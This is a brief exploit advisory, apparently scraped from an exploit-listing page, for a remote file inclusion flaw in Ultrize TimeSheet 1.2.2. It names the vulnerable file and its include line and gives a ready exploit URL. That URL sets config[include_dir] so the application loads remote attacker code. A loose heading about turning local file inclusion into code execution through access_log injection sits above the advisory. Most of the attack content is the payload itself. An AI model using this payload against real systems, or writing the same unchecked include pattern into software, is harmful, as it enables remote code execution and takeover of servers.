LFI to RCE via access_log injection

Ultrize TimeSheet 1.2.2 Remote File Inclusion Vuln


[o] Ultrize TimeSheet 1.2.2 Remote File Inclusion Vulnerability
Software : Ultrize TimeSheet version 1.2.2
Vendor : http://www.ultrize.com/
Download : http://www.ultrize.com/timesheet/download/timeSheet-20080505.zip
Author : NoGe

[o] Vulnerable file
include($config['include_dir'].'timesheet.class.php');
include/timesheet.php

[o] Exploit
http://localhost/[path]/include/timesheet.php?config[include_dir]=[evilc0de]

Comments